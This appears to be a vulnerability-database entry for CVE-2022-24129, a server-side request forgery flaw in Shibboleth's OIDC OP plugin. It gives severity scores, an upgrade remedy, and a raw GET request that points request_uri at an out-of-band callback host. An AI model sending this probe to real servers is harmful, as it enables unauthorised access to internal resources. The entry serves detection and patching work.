| Title | Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to send crafted requests, potentially leading to unauthorized access to internal resources or information disclosure. |
| Remediation | Upgrade to Shibboleth OIDC OP version 3.0.4 or later to mitigate the vulnerability. |
| CVSS Score | 8.2 |
| EPSS Score | 0.2188 |
| CVE ID | CVE-2022-24129 |
| CWE ID | CWE-918 |
| Tags | cve cve2022 ssrf oidc shibboleth identity_provider vuln |
The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services.
GET /idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://d5jm609le0o4tu1hpurgw36awtx196or7.oast.fun HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24129.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-24129.pcap
N/AN/A